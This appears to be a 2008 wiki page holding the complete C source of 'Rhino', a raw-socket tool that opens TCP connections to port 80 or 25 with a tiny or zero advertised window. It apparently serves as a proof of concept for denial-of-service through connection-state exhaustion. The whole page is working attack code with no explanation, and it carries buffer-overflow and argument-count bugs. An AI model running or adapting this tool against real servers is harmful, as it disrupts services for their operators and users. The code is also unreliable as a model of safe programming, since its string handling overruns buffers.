2008 10 29 0x0019 Rhino
/* gcc rhino.c -l pcap -o rhino */
/* check for the hardcoded values you need to change */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define __USE_BSD
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>
#include <unistd.h>
#include <pcap.h>
int sd;
int wsize = 1;
unsigned short servertype = 80;
int datalength = 0;
char serverip[20];
char interface[29];
char data[] = "GET / HTTP/1.0\r\n\r\n";
unsigned short sourceport = 1000;
unsigned long tracking_sequence = 0x131123;
#define TYPE_SYN 1
#define TYPE_ACK 2
#define TYPE_REQUEST 4
struct psd_tcp
{
struct in_addr src;
struct in_addr dst;
unsigned char pad;
unsigned char proto;
unsigned short tcp_len;
struct tcphdr tcp;
char data[19];
};
unsigned short in_cksum(unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
unsigned short in_cksum_tcp(int src, int dst, unsigned short *addr, int len, int request)
{
struct psd_tcp buf;
u_short ans;
memset(&buf, 0, sizeof(buf));
buf.src.s_addr = src;
buf.dst.s_addr = dst;
buf.pad = 0;
buf.proto = IPPROTO_TCP;
if(request == TYPE_REQUEST)
buf.tcp_len = htons(len + datalength);
else
buf.tcp_len = htons(len);
memcpy(&(buf.tcp), addr, len);
strncpy(buf.data,data,datalength);
if(request == TYPE_REQUEST)
ans = in_cksum((unsigned short *)&buf, 12 + len + datalength);
else
ans = in_cksum((unsigned short *)&buf, 12 + len);
return (ans);
}
void tcp_send(int s_seq, int type)
{
struct ip ip;
struct tcphdr tcp;
struct sockaddr_in sin;
u_char *packet;
packet = (u_char *)malloc(256);
ip.ip_hl = 0x5;
ip.ip_v = 0x4;
ip.ip_tos = 0x0;
if(type == TYPE_REQUEST)
{
ip.ip_len = sizeof(struct ip) + sizeof(struct tcphdr) + datalength;
}
else
{
ip.ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
}
ip.ip_id = htons(sourceport);
ip.ip_off = 0x0;
ip.ip_ttl = 64;
ip.ip_p = IPPROTO_TCP;
ip.ip_sum = 0x0;
ip.ip_src.s_addr = inet_addr("192.168.1.17");
ip.ip_dst.s_addr = inet_addr(serverip);
ip.ip_sum = in_cksum((unsigned short *)&ip, sizeof(ip));
memcpy(packet, &ip, sizeof(ip));
if(type == TYPE_SYN)
{
tcp.th_flags = TH_SYN;
tcp.th_ack = htonl(s_seq + 1);
tcp.th_win = htons(wsize);
}
else if(type == TYPE_REQUEST)
{
tracking_sequence;
tcp.th_ack = htonl(s_seq);
tcp.th_flags = TH_PUSH | TH_ACK;
tcp.th_win = htons(20);
}
else
{
tracking_sequence++;
tcp.th_ack = htonl(s_seq + 1);
tcp.th_flags = TH_ACK;
tcp.th_win = htons(wsize);
}
tcp.th_sport = htons(sourceport);
tcp.th_dport = htons(servertype);
tcp.th_seq = htonl(tracking_sequence);
tcp.th_off = sizeof(struct tcphdr) / 4;
tcp.th_sum = 0;
tcp.th_sum = in_cksum_tcp(ip.ip_src.s_addr, ip.ip_dst.s_addr, (unsigned short *)&tcp, sizeof(tcp),type);
memcpy((packet + sizeof(ip)), &tcp, sizeof(tcp));
if(type == TYPE_REQUEST)
{
memcpy((packet + (sizeof(ip) + sizeof(tcp))), data, datalength);
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ip.ip_dst.s_addr;
if (sendto(sd, packet, ip.ip_len, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0)
{
perror("sendto");
exit(1);
}
}
void *run(void *arg)
{
const int on = 1;
struct ip ip;
struct tcphdr tcp;
struct sockaddr_in sin;
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("raw socket");
exit(1);
}
if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("setsockopt");
exit(1);
}
sourceport = random() % 65000;
tcp_send(0,TYPE_SYN);
}
int flag = 0;
void raw_packet_receiver(u_char *udata, const struct pcap_pkthdr *pkthdr, const u_char *packet)
{
struct ip *ip;
struct tcphdr *tcp;
u_char *ptr;
int l1_len = (int)udata;
int s_seq;
ip = (struct ip *)(packet + l1_len);
tcp = (struct tcphdr *)(packet + l1_len + sizeof(struct ip));
int pktlength = ntohs(ip->ip_len);
printf("PKT: %d:%d ", l1_len, pktlength);
if(tcp->th_flags & TH_SYN)
printf("SYN ");
if(tcp->th_flags & TH_ACK )
printf("ACK ");
if(tcp->th_flags & TH_PUSH)
printf("PSH ");
if(tcp->th_flags & TH_RST)
printf("RST ");
printf("ack: %u seq: %u\n", ntohl(tcp->th_ack), ntohl(tcp->th_seq));
s_seq = ntohl(tcp->th_seq);
if(tcp->th_flags & TH_RST)
{
printf("Reset received - ah shucks :(\n");
exit(-1);
}
if(!flag)
{
tcp_send(s_seq,TYPE_ACK);
sleep(1);
tcp_send(s_seq,TYPE_REQUEST);
flag++;
}
sleep(1);
if(flag && pktlength == 41)
{
tcp_send(s_seq,TYPE_ACK);
}
}
void *pth_capture_run(void *arg)
{
pcap_t *pd;
char *filter;
char *dev = interface;
char errbuf[PCAP_ERRBUF_SIZE];
char userfilter[256];
bpf_u_int32 netp;
bpf_u_int32 maskp;
struct bpf_program fprog;/* Filter Program*/
int dl = 0, dl_len = 0;
sprintf(userfilter,"dst host 192.168.1.17 and src host %s and ip and tcp",serverip);
filter = userfilter;
if ((pd = pcap_open_live(dev, 1514, 1, 500, errbuf)) == NULL)
{
fprintf(stderr, "cannot open device %s: %s\n", dev, errbuf);
exit(1);
}
pcap_lookupnet(dev, &netp, &maskp, errbuf);
printf("setting filter of '%s'\n",userfilter);
pcap_compile(pd, &fprog, filter, 0, netp);
if (pcap_setfilter(pd, &fprog) == -1)
{
fprintf(stderr, "cannot set pcap filter %s: %s\n", filter, errbuf);
exit(1);
}
pcap_freecode(&fprog);
dl = pcap_datalink(pd);
switch(dl)
{
case 1:
dl_len = 14;
break;
default:
dl_len = 14;
break;
}
if (pcap_loop(pd, -1, raw_packet_receiver, (u_char *)dl_len) < 0)
{
fprintf(stderr, "cannot get raw packet: %s\n", pcap_geterr(pd));
exit(1);
}
}
#include <sys/time.h>
void random_setup(void)
{
struct timeval t;
int i;
gettimeofday(&t, NULL);
printf("The time is %ld.%06ld seconds since the Unix epoch\n",
t.tv_sec, t.tv_usec);
srandom(t.tv_usec);
}
int main(int argc, char *argv[])
{
pthread_t tid_pr;
if(argc < 4)
{
fprintf(stderr," usage: %s <interface> <server> <serverport> <windowsize>\r\n",argv[0]);
exit(0);
}
strncpy(interface,argv[1],30);
if(strlen(argv[2]) > 15)
{
fprintf(stderr,"I need an IP address - blah\r\n");
exit(0);
}
strncpy(serverip,argv[2],strlen(argv[2]));
servertype = atoi(argv[3]);
if(servertype != 80 && servertype != 25)
servertype = 80;
if(servertype == 80)
{
servertype = 80;
strcpy(data,"GET / HTTP/1.0\r\n\r\n");
}
else if(servertype == 25)
{
servertype = 25;
strcpy(data, "HELO\r\n");
}
datalength = strlen(data);
wsize = atoi(argv[4]);
if(wsize == 0)
printf("window size 0 selected - I will get there\n");
random_setup();
printf("%s:%s:%d:%d\r\n",interface,serverip,servertype,datalength);
if (pthread_create(&tid_pr, NULL, pth_capture_run, NULL) != 0)
{
fprintf(stderr, "cannot create raw packet reader\n");
exit(1);
}
sleep(1);
run(NULL);
pthread_join(tid_pr, NULL);
return 0;
}
page revision: 0, last edited: 30 Oct 2008 16:19